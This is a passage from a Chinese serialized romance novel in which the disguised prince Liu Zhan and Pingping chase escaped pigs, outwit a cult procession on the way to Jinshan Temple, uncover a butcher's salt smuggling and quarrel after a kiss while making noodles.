“官人你就喊啰啰啰！” 萍萍频频指导，自己则匆匆在杨婆家找了些碎烂的青菜叶子和米糠，撒在地上，好些猪见着吃食慢下来。 张记的刀手们瞧见黑猪日奔，也纷纷上街围堵，柳湛那厢，原本不打算听建议，但自以为的法子都不好使，最后硬着头皮依照萍萍所说，用剑敲墙，猪竟能真沿着他敲的方向往前走。 柳湛只得继续敲，心想自己三岁随名师习武，手持缙云龙泉名剑，却不是马上杀敌，开疆辟土，而是赶猪。 他咬碎银牙，末了张嘴，还得继续喊：“啰啰啰。” 萍萍、柳湛以及七、八个刀手忙活一个多时辰，才把所有黑猪赶回猪圈。有的刀手还在重新点一遍数目，有的已经过来责备柳湛：“你怎么把门打开了？” 柳湛正欲开口，萍萍挡到他身前：“对不起，对不起，是我开的。” 刀手们赶得心烦，任是萍萍，也没好脸色，斥责一番。他们都是粗人，话难免难听，甚至带了骂人脏字。萍萍始终恭谦，赔笑许诺：“今日劳烦诸位小哥，等我开了汤饼店，第一碗你们都免费。” 刀手们继续数落了几句，这才罢了。 等刀手四散，萍萍转回身冲柳湛柔声道：“你等等我，要先把干娘家整理好才再回家。” 柳湛目光在萍萍脸上来回搜寻，却只能在她脸上瞧见爱慕、欢喜和数分关切。 “今日辛苦官人了。”她果然说出口。 柳湛分唇，终忍不住问出声：“你怎么不怨我？” 明明是他，以为石屋是张屠藏印□□之处，擅自开门。 萍萍看着柳湛一笑，酒窝深陷：“荀子不是说过吗？‘自知者不怨人，知命者不怨天。怨人者穷，怨天者无志。’” 她再次拉起柳湛右手，塞给他一样东西：“糖找到了。” 说完便要松手离开，去前面拉面汤车，柳湛垂帘看了眼脏兮兮的糖，忽然倾身伸臂，捉住萍萍的手，接着用劲往回一拽，萍萍被带得转了半圈，来到柳湛眼前，与他脚尖碰脚尖。 23-30 第23章 第二十三章 入V三合一 萍萍睁大杏眼：“怎 么了？” 柳湛哑然， 自己也不知道为什么这样做，找了半天理由，晦涩开口：“你……今日不是想去金山寺吗？我陪你去。” 萍萍一听， 欢喜扑入柳湛怀中。 柳湛僵了片刻， 抬臂与萍萍身体隔着数厘， 空环住她，而后在她后背轻拍了拍。 * 裴府。 三丈见方室内，门窗紧闭， 裴小官人仰躺在卧榻上， 衣衫大敞，只左侧一只胳膊套进袖里， 右臂外露，缠有布条。 再一顺往上看，锁骨、肩膀，脖颈、面目皆绑满布条，将整张脸都遮住，乍一看极为骇人。 良久，他坐起抬手， 一圈又一圈拆开布条， 裴小官人的眉眼重新显露， 一如既往的精致俊朗， 面上不见伤痕。 他随手将布条丢到地上，数段翻转，另一面步上涂满纯白药膏。 他再拆右臂布条。 这右臂竟与别处迥异， 有一条从腋至肘，深及骨头的伤口，尚未结疤仍在溃烂， 看起来像条蜈蚣。 裴小官人从几上拿了些新布条，咬在口中，接着屈起右腿放到榻上，直接用匕首剜去臂上腐肉脓疮。他一声不吭，细密的汗珠从额上渗下。 全部清理干净后，吐出布条，也不用杵勺，直接用擦干净匕首捣烂愈合刀疮的膏药，抹在新的布条上。接着重新缠绕手臂，单手不方便，勒紧布条时裴小官人以口代手，方得以打死结。 他站起披袍，生烈烈风，披头散发，飘带也松松系着，只将受伤右胳膊穿进袖里，就推开门。 裴小官人在走道上踱了许久，才遇到等候的长随。 长随俯首：“郎君。” 裴小官人点头，长随便随在裴小官人身后走，不用嗅，就能闻到浓烈的金创药味。 与郎君往日身上的药不同。 长随忍不住关切：“郎君……身子还好？” 良久，裴小官人冷道：“少说话。” 走道上便只剩下前后节奏不一的脚步声，寂得好像要走入暮年 又行许久，眼看裴小官人将要进入阁楼，长随才嗫嚅：“萍娘子在街上抓猪，郎君要不要去帮忙？” 裴小官人倏地回头：“怎么回事？” 长随也只了解个大概：“两、三个时辰前，好像是张屠家的猪被萍娘子还是谁放出来了，反正萍娘子在帮刀手们抓。” “两三个时辰前的事，你怎么现在才讲？” “郎君让我少说话。” 裴小官人拂袖下楼，奔出府门。 * 萍萍和柳湛将洗面汤车放回家中，萍萍洗了手便开始准备早膳。 她记得阿湛早上喜欢吃粢饭团，但昨晚吃的面，没余米饭，现在蒸恐怕来不及，便倒了些米粉做蒸糕，中夹薄薄一层黑芝麻，糖贵，往常她不用的，但是现在阿湛回来了，她在黑芝麻上又加一层糖，不惜用料。 出锅倒扣，盘子端到柳湛面前，米香扑鼻。萍萍先自个拿起一个：“嚯、嚯，烫！”她左右倒手：“官人你小心烫。” 虽然怕烫，但萍萍没将蒸糕放回盘中，强行咬了一口。柳湛视而不见，拾起带来的银箸，戳入糕中，须臾才夹起来。 萍萍讶异：“你怎么用筷子吃蒸糕？” 柳湛抬头对视：“你不是说烫么？” 萍萍不好意思讪笑、点头，是她傻了，还是官人聪慧！ 她也用筷子吃。 二人用完早膳，因为去的寺庙，萍萍想着万一布施，就比平时多拿了一袋银子，挂在腰间，还备了一葫芦水，才出门。 朱方巷离码头不远，金山亦在江边。他俩沿江跋涉，天气晴好，大江开阔，天高云软，阳光一洒，萍萍步子格外雀跃。 前方绿柳树下，停靠一排渔船，皆满载鲜鱼，活蹦乱跳。买鱼的润州百姓围了里三层，外三层，六、七个渔人并渔牙主人忙不过来。 萍萍扭头同柳湛笑道：“我们润州有三鱼，刀鱼、鲥鱼和鮰鱼，清蒸蘸点姜醋就无比鲜嫩，官人晚上尝一尾？” 柳湛摇头。 萍萍被拒了也不生气，继续往前走，眺了江面又望江边，江上是山，江边也是山，层峦叠嶂。 “我们润州还有三山，”她扳指数，下巴点点，“金山、焦山和北固山。”萍萍伸手一指头：“江边这座就北固山，江心那座就是焦山。” 江上轻舟如梭，倒好像两岸山河来绕舟。 “焦山不与岸连，要去只能坐船。”萍萍记得五年前，第一日到润州，码头边夕阳斜照，水波粼粼，焦山仿佛镀了一层金，一叶扁舟缓缓弯至山边。 她当时也想上去瞧瞧，问了船费，囊中羞涩。 再后来，忙着挣钱攒铺子，没了时间。 萍萍脑袋一直扭着望焦山，眸中流露一丝羡慕：“等铺子开了，挣了钱，我们有空去趟焦山吧。” 柳湛知不必也不该搭理她，脑子里却不住回想萍萍方才步子轻快，笑靥明媚，脑袋一啄一啄的样子，他想再见到，于是走到萍身边，主动接话：“怎么，焦山你也有故事？” “没有。”与柳湛相关的回忆，没一件事是在焦山发生的，萍萍不好意思笑笑：“我就是单纯想去逛——” “如是我闻。一时佛在忉利天，为母说法……” 萍萍的话，被一阵幽远且毫无语调的诵经声打断。 沿路百姓包括他俩皆循声望去——前面两列男男女女正朝这边走来，他们皆用高高的毡帽束住头发，朱砂描眉，身上衣裳似袈裟又像道袍，赤足前行，脚步飘忽，白日里转动幡伞，各持法器，敲锣击筑。 诵的地藏菩萨本愿经，开口的却不是僧侣，亦非居士。 他们不仅语气古怪，奏的乐亦古怪阴森，萍萍睁大眼：“番僧吗？” 柳湛促眸，那两列男女中央抬着一张床，上躺一位锦衣华服，白发苍苍的老翁，皮皱斑生，苟延残喘，却仍双手合十，不住祷告。 离僧庙道观越近，越多求神拜佛之徒，他是不信的，柳湛微旋嘴角：“不去求医，却问鬼神。” 萍萍亦眺着，七色幡伞半边在老者头顶转动，他缩着脖颈，合十的手一直颤动。萍萍头一回反驳柳湛：“恐怕是金石无医，走投无路，才求佛拜庙，寄托最后一丝生的希望。” 两人嘴上说话，脚下不停，离番僧队伍越来越近。 柳湛噙笑：“这么说，你也怕死？” “当然怕啊，”萍萍坦诚，“我希望我俩都能活得久一点，这样就可以在一起很多年。” 柳湛眼觑向路面，阖唇不语，忽然感觉萍萍身边有异动，蓦地抬头：“当——” 当心二字尚未说全，萍萍已经叫起来：“哎呀！” 一男子突然朝她冲来，狠狠撞上肩膀，萍萍才将叫出声，那男子已经朝前奔离，快如弦上箭。 萍萍心下一沉，摸了摸腰间，拔腿就追：“站住，我的钱袋子！” 偷儿闻声跑得更快，声音却越来越近，他回头一看，萍萍近在咫尺——老天，一个小娘子，怎么可能跑这快！ 偷儿慌乱之下忘记注视前方，不慎撞入番僧队伍，顿时队伍大乱，把萍萍也围入队中。 偷儿控制不住自己身子，再往前跌，撞到手捧神龛的番僧，神龛掉落，萍萍在后瞧见，怕摔坏，本能蹲下托住神龛。 那丢了神龛的番僧又跌上同伴法杵，同伴亦倒，齐齐撞向抬床第三名番僧，床往左翻，老翁往地上栽。人命比铜像重要，萍萍果断放下神龛，去托老翁。偷儿见状，手脚并用站起身，继续往前逃。 柳湛纵身赶至，左手扶稳萍萍，右手接法杵，接着脚下一点，踩神龛再踏幡伞，空中翻了个跟头，落至偷儿面前。他没有亮袖里剑，手往外一推，直接用法杵打向偷儿右臂。 不仅钱袋从偷儿袖中掉落，右臂也被打折。 偷儿伏地主动捡起钱袋，双手奉上：“大官人饶命，大官人饶命！” 柳湛却无意多纠缠，他刚才余光扫见，被萍萍救下的老翁不仅不知恩图 报，反令番僧擒住萍萍。 柳湛收了钱袋就要去救，却被四、五番僧拦住去路。眨眼间，又七、八持法器番僧往柳湛身后跑，将他围在圈中。 番僧操。着不熟的汉话，嗓门高亢：“就是这小子，我刚刚看见他踩了法王一脚！” “冒犯法王，坏了续命法阵，还想走？” 那被番僧架着的老翁本就愤慨，听到“续命坏了”，愈发激动，扯起嗓子叫囔：“把他们统统都给我……” 声音颤动，最后几字几无力气，没说完就大口喘起来，番僧不得不一次又一次将老翁抚稳。 “听员外的把他们都拿下！” “饶命啊饶命，大官人饶命菩萨们也饶命！”偷儿哇哇乱叫。 只这嘈杂一霎，柳湛就已瞥清——神龛里供奉的镀金铜像，应该就是众人口中的法王。 他们诵着地藏经，神龛却贴着清灵宝天尊符箓。这什么诓人邪。教？ 老头临死还上一回当，倾家荡产，哼，他下令绑了萍萍，恶有恶报。 依柳湛功力，完全可以强行带走萍萍，但他不愿闹大，不想见官，于是便在番僧来袭时，嘴角噙笑，微微扬首：“拘下我，你们不怕得罪法王吗？” 番僧们停下手中的法杵或金轮，上下打量柳湛，继而你看看我，我看看你，最后，头目番僧冲柳湛隔空挥杵：“杀才，你说什么？” 柳湛几时被人这样唤过，压下心头不快，指地上偷儿：“这窃贼的确破坏了法阵，但我不是。”他一脸严肃看向番僧和老翁：“我是在救你们，救老人家。” “此话怎讲？” “在下不才，会一点家学法术，不知诸位可曾听过‘脚踏七星’？方才法王被窃贼冲撞，在下眼见金光晃眼，应是法王真身受扰，便用‘脚踏七星’中的安神法，一脚稳固紫薇中神。”他昂首挺胸，言之凿凿，“用了这安神法，法阵便不算破，还能继续续命。” 邪。教信徒，本就是人群里最容易被骗的，柳湛头头是道，兼又龙章凤姿，老翁和一众番僧多被他唬住。 只俩头目，心知肚明柳湛在坑蒙拐骗，同道中人。 柳湛亦思忖如何唬住这俩人，一时想不出好法子……一粗沉男声忽然响起，自带回音：“那人——” 柳湛循声望去，竟从萍萍所处方向传来。 是押解她的番僧在说话？ 下一刹，柳湛亲眼睹见萍萍身体僵直，睁开的两眼变得只剩眼白，红唇开合，发出同样男声：“你的脚踏七星虽能稳固中神，却将本王误定进这小娘子身中。” 柳湛明白过来，没想到她能知他内心所急，主动助力。他心里乐开了花，缓缓绽放，又犹如春风吹开涟漪，强抑下欢喜，咬牙抿唇，才不至于莞尔。 “法王显灵！”柳湛屈膝垂首，“法王显灵啦！” 一呼百信，众僧松开萍萍，忙不迭跪下，那老翁也命人搀扶着下跪，拜道：“法王，救我性命！” 如此情形，俩头目无论信与不信，也只能从众跪倒。 “本王先归位，之后定救你。”萍萍依旧用男声，“那人，还愣住作甚么？还不快用你手中法杵，助力本王归位。” “小的谨遵法旨。”柳湛配合萍萍，走近举起法杵，在她肩上轻轻拍了下，不仅舍不得用一点力，还帮她担着法杵的重量。 萍萍大叫一声，闭眼栽倒在神龛旁。 她一动不动，双唇紧闭，神龛中的铜像却响起一模一样的男声：“尔等可以继续前行，接上续命阵。” 法王归位了。 “走啊，快！还等什么？”老翁焦急催促，若非身体不允，他甚至想跳起来命令。哪怕让人重抬回床。上，躺了下去，口中仍不住叨叨“谨遵法旨”，“法王这次一定要救老夫”之类。 因着神龛说话，那俩头目也畏了七、八分，不敢质疑。 一众番僧重新列阵，逐渐走远。 直到望不见队伍，萍萍才鲤鱼打挺从地上坐起，柳湛屈膝扶住她，笑道：“想不到你还会装神弄鬼。” “也是在湟水谷地，我遇见一队杂耍侍诏，要去襄阳。我和他们结伴走了一个月，教会我翻眼白，”萍萍说着就朝柳湛翻起白眼，重发男声：“还有男嗓腹语——” 柳湛僵了下：“你还是别这样说话。” 萍萍噤声，继而垂下脑袋，柳湛见状语气放柔：“怎么了？” “方才打了诳语，说那位老丈的病定能治好，但其实我不知道的，万一老丈真信了我怎么办？我岂不是、岂不是在害人？” 柳湛扫萍萍一眼，心道这有什么内疚，是那人自作孽不可活：“不要胡思乱想。” 他抿了下唇，手指向前方：“那座山就是金山吗？” 日头颇烈，萍萍闻声手搭阳棚，远方黄墙佛寺自山腰蔓延巅峰，一时不知山在寺里，还是寺在山中。 “是金山！”她肯定道，脚下加快。 望山跑马，又继续走了刻把钟，才到金山。 纵使初春，山上仍绿荫如盖，步步是景。上山的石阶开阔，萍萍和柳湛站在同一级上回眺，大江滔滔奔流，焦山和北固山一时变小，与金山成犄角之势。 萍萍回身继续向上攀登，柳湛也往上行，她前一步他也迈一步，不约而同先抬右腿，不仅同时同刻踏出，脚落地的时间也一致，如此往复三、四步，一直无声偷笑的萍萍终于忍不住，笑出一声。 柳湛见皓齿红唇，终忍不住问道：“你怎么总这么高兴？” “我当然高兴啦，你回来了，然后一起开汤饼店，往后的日子愈发有盼头。” 柳湛瞟她酒窝一眼，摇头笑笑，再往上石阶偏陡，柳湛右手抬起，虚扶住萍萍后背。 绿树茵茵，风起叶摇，斑驳光影，一拨下山的香客迎面擦身，萍萍和柳湛皆站定往旁边让了让，柳湛的手仍虚扶着。 待香客们走远，二人转正身子继续往上走，萍萍边抬腿边道：“他们应该是来听早课的，金山寺的早课非常出名。” 柳湛想起来润州那一夜听到的诵经。 “到了。”萍萍扶腰笑望前方，柳湛随之眺去，黄墙近在咫尺，墙后便是第一重天王殿。 后山的钟声突然传来，惊起数十飞鸟，展翅越过黄墙。人皆道晨钟暮鼓，金山寺却不分早晚，整点都是先撞钟，后敲鼓，磬音如雷，直蹿柳湛灵台，兀地头痛欲裂，虚扶萍萍后背的那只手收回，揉了揉眉心。 萍萍留意到，关切：“怎么了？不舒服？” “没事，只是脑袋有些混沌。” 萍萍灵光一闪：“你是不是要想起什么了？” 他看她紧张神色，莞尔，摇头。 脑海中的确闪过些许回忆，但皆是宫中旧事，萍萍常提的那些事，那个人，就不是他。 柳湛笑忽滞住，把嘴撇下。 萍萍望向寺门，复垂首：“其实金山寺里的长老和我记忆里的不一样。我到润州不久就重访金山寺，发现无论首座、维那、还是侍者、监寺、都寺、知客，没有一位师父与记忆相同，全不认识。” 柳湛缄默须臾，开口反问：“你有没有想过，你的记忆都是假的，子虚乌有。” 所谓官人，并不存在。 这么一想竟心情大好，原先撇下的嘴角也重旋起，复抬右臂，掌心贴上萍萍后背，从虚扶变成实扶。 寺里的无相门门槛造得极高，跨过时柳湛右手下滑，从扶背变成揽腰。萍萍回首，几就在他怀里：“官人，我们进去拜一拜？” 柳湛低头，笑吟吟应声：“好啊。” 再抬首时，发现蒋望回正伫在大殿后方的山石上看他们。 柳湛旋即敛笑，松开萍萍，离远数步。此举颇明显刻意，萍萍再迟钝，也能感受到突如其来的疏远，抬头疑惑：“官人？” 柳湛板脸不应，眼神冷漠无情，萍萍觉得一下子不认识他了。 怎么了？ 她本能环视四周，眺见石上正转身，欲背对远离的男子：“蒋小官人？” “蒋小官人！”萍萍马上挥手呼唤，等手臂垂下，笑容才僵了下，后知后觉：官人是因为碰见熟人，才即刻跟她拉开距离？ 他想撇清关系？ 正想着，又闻柳湛冷声低斥：“佛门肃静，岂容你大呼小叫。” 萍萍转头看柳湛，他蹙着眉，一 脸不耐烦。而蒋望回被她点出名姓，不得不回转身，从山石上走下，他身后宝塔青松越离越远。 柳湛率先拱手，微施一礼：“蒋兄。” 这一唤令蒋望回犯了难，不知该如何称呼、回应殿下，顺带也不敢喊“萍娘子”了，话都卡在喉咙里。 最终，蒋望回朝柳湛萍萍拱手，算作招呼。 萍萍笑问：“小官人已经上过香了？” “没有，我从后山来的。” “怎么想到来金山寺？” “初到润州，随便逛逛。” “那正好一起上香。”萍萍邀请。和蒋望回说了一会话，她低落的心情稍稍平复，她想，才刚重逢，官人记忆还没恢复，所以才时冷时热。 她看见大雄宝殿门口贴的对联——江水滔滔洗尽千秋人物阅沧桑因缘聚散悟空性，天风浩荡吹开大地尘氛倚圣教禅静止观觉有情，目光在“有情”二字上定了许久。一路上山，官人对她的好她真真切切感受到，他只是心热面冷，并非避嫌。 萍萍自行想开，抬脚高高兴兴跨入佛堂。 山深露重，佛堂内尚有云雾未散，上首释迦摩尼佛端坐莲台，金身应是前不久才描过，远比神龛里的法王灿烂。左手文殊持剑，右手普贤骑象，天顶修得颀高，还真是无所不包，庄严肃穆。 蒲团上只有一位香客跪拜，旁边倒是排了四、五人，等待桌后的长老解签。 萍萍双手合十，率先到空蒲团上跪下，恭敬三拜，既还愿得见夫君，又求佛祖继续保佑夫妻俩恩爱，长长久久。 趁萍萍看不见，她身后的蒋望回迅速眼神请示柳湛：拜还是不拜？ 柳湛掀袍下拜，蒋望回便也跟着跪下，二人皆只对佛祖磕了一个头就起身。萍萍瞧见刚拜菩萨的那位香客也去摇了签，排队，便凑近柳湛身边，用最小的声音询问：“我们要不要也卜一个？” 就问问为何会失忆？她又为缘何在西宁醒来？ “善易者不卜，”柳湛勾嘴角看向萍萍，续道，“这句话也是荀子说的。” 萍萍噤声。 柳湛转身欲走，扫了蒋望回一眼，似要他跟自己并排。蒋望回哪里敢，迟疑半步，而萍萍因为怕在殿里弄出动静，没大步跑，追不及时，阴差阳错落到和蒋望回齐肩并行。 一人前，两人后，跨出大雄宝殿。 “官人等等我。”到了殿外萍萍才敢呼唤。她仰头观天，太阳正当空，已至晌午，：“蒋小官人，你要不和我们一起用午膳吧？” 柳湛前方止步，侧半个身子撇来，萍萍觉得柳湛在她，丢下蒋望回，小跑两步追到柳湛身边。 蒋望回也觉得殿下看的是他，垂首改口：“好。” 他稍微加快些，就追上来。 萍萍同他俩商议：“下山要好久，怕胃饿到，金山寺宝塔底下就是斋堂，不如就吃斋饭？我上回来吃过还行。” 蒋望回依旧先观柳湛神色，柳湛见状，淡淡开口：“萍萍，你先去备斋饭，我与蒋兄有话要讲。” 萍萍知道这两人同做胡员外家长随，共事数年，肯定有些男人间的话，既然不想让她听，那便不听。她应了声好，加快步伐，几乎是小跑着往后山宝塔去。 柳蒋二人慢行，皆耳聪目明，确认附近无第三双耳，柳湛才启唇：“怎么在这里？” 他来萍萍家后，蒋望回其实也来了朱方巷。 或候在萍萍家外，或在巷子口，隐于暗处，等待旨意。 寅卯间，柳湛瞧见张屠排队，即刻知会蒋望回，命他一路跟踪张屠。若萍萍所言非虚，蒋望回此刻应在丹阳或金坛，而非金山寺中。 难不成金山寺的和尚要买猪肉吃？ 柳湛笑觑了眼高耸的宝塔，七级浮屠，第一戒便是持斋。 “他没有亲自去。”蒋望回言简意赅，“到码头，两头猪装船发走，他自己继续来了金山寺。” 蒋望回回忆所见所闻，张屠卸货时只掀一半油纸，另外一半始终严实盖着，猪发走后，太平车头重脚轻，明显车上还有东西。 纵使天黑，张屠依旧绕许多弯路，一幌再一幌，才抵金山寺后山交易。 “车上还有一袋东西，交给一小僧。小和尚驮起麻袋就跑，属下为了弄清楚，转道跟踪小僧，见他将袋子搬入厨房，属下潜入尝了一口，”蒋望回顿了下，接上，“是盐。” 什么盐需要这样鬼鬼祟祟，偷偷摸摸地卖？ 且仅用一只束口麻袋装，一无封条二无盐印。 柳湛和蒋望回皆脸色阴沉，心知肚明是私盐。 **之波未平，又掀新浪。 少倾，柳湛轻笑：“一个杀猪的，好大的胆子。” “让阿罗和音和分别去张记买一回肉。” “喏。” 前面离斋堂近了，二人阖唇，不紧不慢走上去。 萍萍早点好斋饭，原本可以坐在斋堂里等，但她担心柳蒋二人找不到路，于是来到门外，一瞧见他俩就招手，官人说过佛门不能大呼小叫，所以她垫着脚，拼命舞动双臂。 蒋望回望见，脚下立马加快，但柳湛还是不紧不慢，蒋望回步子一搀，重慢下来，还是跟在柳湛后面半个身位。 萍萍迎上，声音比蚊蝇还轻：“我都备好了，快进去吧。”她跟着柳湛又走了一遍斋堂门口的路，回头还同蒋望回道：“不知道你喜欢吃什么，就都点了些。” 蒋望回埋头应“都好”。进了斋堂，一水的矮桌，只能对坐两人，所以萍萍要了两张桌子，每桌皆摆一碗三碟，碗里米饭，碟子里鲜鱼、嫩鸡、酿鹅，皆用豆面做。萍萍让柳湛、蒋望回先坐：“我还要去拿些吃食。” 等萍萍回来时，柳湛已同蒋望回对坐一桌，她楞了下，含笑在另外一张桌边坐定，把端来的黑色漆盘放到柳蒋那桌，盘中剖开若干麻饼，中夹过了油的豆芽。 萍萍双手各抓一张麻饼，分别递给柳蒋二人：“这是寺里的特色，要趁热吃。” 柳湛和蒋望回皆知这并非金山寺特色，是温陵一带的鹅黄豆生，宫中办九州升平宴会有这一道。 蒋望回盘膝改跪，双手接过：“多谢萍娘子。” 柳湛却道：“我待会吃，你先放在那里。” 萍萍点头，把手上剩下的那张送入自己口中，边嚼边问：“蒋小官人，你以后一直待在润州吗？” 蒋望回也已咬了口鹅黄豆生，他人问话，不答失礼，但食不言睡不语，满嘴豆芽作答也是失礼。蒋望回赶紧下咽口中吃食，一囫囵，差点噎着。 还没答上，萍萍又问：“还是江南各处都逛逛？上次听官人说你们还去扬州？” 蒋望回终于吞完，放下麻饼：“那要看员外意思。” “要是走得晚，到时候来我们汤饼铺吃面啊。” “汤饼铺？” “是啊，我和官人要开汤饼铺了，早则半月，晚则一个月，就能开起来。” 蒋望回看了眼柳湛，却没能和柳湛对视上。他手在桌下轻攥，只能自作主张接话：“就你俩？” 萍萍点头：“一开始肯定雇不起工，到时候我招待，官人煮面，应该忙得过来。” 蒋望回双唇嗫嚅，似有千言万语，又好像哑口无言，柳湛实在不想听下去，嘴角微微下撇：“食不言，睡不语。” 轻飘飘一句，萍萍立马噤声，又想糟了自己刚才已经说了那么多话。她不敢看柳湛，低下脑袋自行吐了吐舌头，被蒋望回瞧见，手上筷子一顿。 蒋望回素鹅、素鸡、素鱼皆夹了一筷，嚼完过了会，瞟向柳湛又收回目光，柳湛才夹这三碟菜，但也不多。 萍萍桌上没再吭声，等出了斋堂她立马关切：“阿湛你吃饱了吗？” 柳湛不应。 萍萍声音再放轻些：“我看你吃很少……是菜不合口味吗？” 不喜欢的话回去她给他加餐。 “饱了。”柳湛否 认。他没再走回头路，和萍萍、蒋望回绕过宝塔，从后面下山，到山脚与蒋望回分别。 二人一回家中，柳湛即刻去了厨房，萍萍想拉他袖子没拉着，急问：“官人你饿了么？” “没有，”柳湛淡道，“我去煎药。” 萍萍咬唇傻笑，又说：“你要是饿了我给你做点吃的。” 柳湛眨眼，似乎思忖了下，回道：“还做昨天那个小排面就行。” “好咧！”萍萍也往厨房走，柳湛到门口，总觉她想和自己并排挤进门里。他侧身让了下，萍萍竟不客气，冲他一笑，先进厨房。 煎药喝药，煮面吃面，不过昨日重复，但萍萍牢牢记住了吃饭不能讲话，所以在饭前就同柳湛商议：“铺子开起来后，我们要不要把小排面也添进单子里？” 他这么喜欢吃，食客应该也喜欢。 “随你。”柳湛淡道，垂眼瞥向桌上两碗面——一碗有葱，一碗没有。 他拾起银箸，探入加了葱花的那碗面中。 由于萍萍雷打不动子时出摊，所以吃完不久，就到就寝时分。 今日比昨日还早，萍萍才睡去半个时辰，就抬脚欲搭柳湛腹部。柳湛惊坐起，剑横萍萍脖颈，只是这次很快收回了剑。 冷冷的月光洒进屋内，他重新背对着萍萍躺下，右手四指始终按在袖里剑上。 黑夜里，蒋望回正借着月光赶来朱方巷。 金山寺分别后，他一直在江边寻访，张屠上货的那艘船，船家和买家已俱调查清楚，他还打算趁黑潜入张记，摸查一番——他会小心谨慎的，反正记住了，猪圈千万不能打开。 翌日，张屠光顾萍萍的洗面摊早，去江边也早，蒋望回跟踪他，来回走了一遭丹阳。 回来也才午时二刻。 张屠回了张记，蒋望回也归悦来店，今日太阳懒洋洋，晒得人想犯困，林元舆和蒋音和在各自房中落了帐帘午睡，袁未罗虽未就寝，但也托腮在桌边打盹。 渐渐的，由托改趴。 见此情景，蒋望回悄来悄去，没有吵醒大家。 他也差不多一天没睡了，便在圈椅上坐下，阖眼小憩。约莫半个时辰后，蒋望回睁开眼，等了一会，趴桌上睡觉的袁未罗才醒来，扭脖子，按肩膀，半晌才发现桌对面多出个人。 袁未罗迟钝一跳：“你什么时候回来的？” “午时。”蒋望回依照众人习性推算，林元舆和蒋音和应该也起床了，便起身道：“随我去见林公。” 路上叩门，顺道叫上蒋音和。 四人一聚齐，蒋望回就交待殿下命令，让袁未罗和蒋音和一个扮大户小厮，一个扮厨娘，分别去张记买猪肉。 说完，林元舆捋了捋须：“希颜，那你那边，进展如何？” 蒋音和同样追问：“你怎么又碰到郎君？” 蒋望回侧身只答林元舆：“张屠不仅铸假造伪，还贩卖私盐。” 林元舆一拍桌子：“胆大包天！那还不把他抓起来？” “还不是时候。”蒋望回肃然，“小小屠户，不可能这么大能耐，身后定有大树。盘根错节，察狱审情，相信郎君彻查后，会一网打尽。” “那就好。”林元舆点头捋须，他没了话，蒋音和便再次问起：“阿兄，你今日缘何又遇到郎君？” 袁未罗不懂门道，也跟着问，避无可避，蒋望回才回：“我追查张屠至金山寺，刚好碰到郎君和萍娘子去上香。” “什么？”蒋音和攥手，担心什么来什么。袁未罗亦皱眉：“又是那小娘子，郎君还要和她纠缠到几时？” “萍娘子说他们准备开家面店，她来招待，郎君煮面。” “郎君煮面？” 林元舆和袁未罗异口同声，堂堂太子殿下，十指不曾沾过阳春水，怎可能亲自下厨？ 袁未罗大笑，仿佛听到世上最荒谬的事：“她想得美，只有我们奴婢伺候郎君的，哪有郎君反过来伺候他人！” “不会。”萍萍家中，柳湛在无数次听到让他煮面的话后，终于忍不住明确拒绝。 “你不会？”萍萍诧异，“你连煮面也忘了？” 柳湛心道会煮面的就不是他，还未开口，就听萍萍续道：“你那时说‘天下以民为本，民以食为天，哪怕是天家贵胄，也该学几样家常饭，不然就成了四体不勤，五谷不分的懒汉’。” 柳湛一心想当天子，听到这话，沉吟片刻，改口道：“我可以学。” “好啊，正好下午没事，我来教你。”萍萍说着就要把桌子搬进厨房。 柳湛见状帮她抬。 萍萍笑笑，跟在柳湛后面：“西北那边喜欢粗面、宽面，江南人偏爱银丝，要现做才好吃。” 她擦干净桌子倒面粉，同时打鸡蛋：“银丝面面粉必须同鸡蛋一起和，”她教柳湛和面揉面，两人各站一边，一人一个面团。 柳湛垂帘打量，这女子劲还挺大，和面瞧着轻轻松松，不费吹灰之力。 和好了，萍萍拿出擀面杖：“然后银丝面要比寻常面多擀两道。”她先做示范，而后问柳湛，“官人，你行吗？” 她只是担心他没学会，并无恶意，但不要问男人行不行，柳湛瞬时夺过她手中擀面杖，轻松轧出面饼，微扬下巴，淡淡开口：“再做什么？” “再要用面刀削成银丝。这一点是银丝面最重要，也是最难的一环。”她举刀，尽量慢地做起示范，他怕柳湛削坏，挫败内疚，补充道：“不要急慢慢来，我头回上手时削出的面完全不能看，后面多练会好很多。” 这才把面刀递给柳湛。 柳湛常年习剑，这刀工又有何难？一言不发接过开削，顷刻间桌上面饼变样，白如银，细如丝。 萍萍眼睛都亮了：“我家官人学什么都一点就会！” 柳湛身为太子，听过太多吹捧恭维，却觉这一句比那千千万万句更受用，不自禁勾起嘴角，主动走向灶台：“下面要煮多久？” 蹲下来堆柴。 “烧开水后，下进去默数三十下，就捞起来。”萍萍帮着架灶，“三十下是大概数目，下的时候你临机应变，煮短了夹生，煮久了不韧。” 锅里水翻滚气泡，掀盖一阵白烟，银丝面下进去再捞起来，柳湛夹一筷子给萍萍：“你尝尝怎么样？” 他自己再用另外一双筷子，也尝，刚嚼一口，就觉颊上一热，柳湛本能扭头，萍萍嘴巴原先贴在他颊上，这会变成唇与唇擦。 柔软温热触感，柳湛脑中一片空白，心跳慢上半拍。 第24章 第二十四章 寡廉鲜耻 萍萍却浑然未觉， 收回前倾的上身，笑道：“好吃，我官人煮的面最好吃。” 柳湛僵硬扭头， 盯着她沾了些许面粉的脸。 “放肆！”他突然拂袖厉喝， 犹如晴天骤下暴雨， 萍萍先是一楞，继而被怒目怒气吓到，不自禁后退半步。 复又呆傻：官人这是怎么了？ 柳湛重重呼气， 既恼萍萍， 又恼自己，又觉此刻再不对她冷面冷心， 定会被天下人耻笑。 冲动之下，脱口而出：“你怎么这般不知廉耻？好似那烟花柳巷，行首人家！” 讥讽这话后他竟觉得心里好受些，也是，方才那一吻定是下三滥的勾。引手段，他怎可能被这低贱女子打动。 他继续告诉她：“我不会有这样寡廉鲜耻的娘子，兴许……我就不是你的官人。” 萍萍整个人随柳湛言语起伏， 先面颊涨红， 继而心里一凉， 再然后胸脯起伏， 气息不畅，四肢也情不自禁颤抖：他怎么能……怎么能这样？ 柳湛出门，头也不回。 萍萍嚅唇唆腮， 鼻尖酸意难忍，她吸鼻子，垂着的两手捏拳， 再捏拳，才没让眼睛里的金豆豆掉出来。 她想，官人一定是还没想起来，才说这样伤人的话，等他重新记起来就好了……萍萍想着，追了出去。 柳湛站在院内，萍萍轻手轻脚凑近，正琢磨怎么开口才能关系缓和，柳 湛已自转过身来，微微偏头，看她。 他下巴朝厨房方向一点：“厨房那点面别浪费了，晚上还是吃小排面吧。” 官人主动找她说话……萍萍鼻子一酸，看来官人也自觉方才话重，想要缓和。 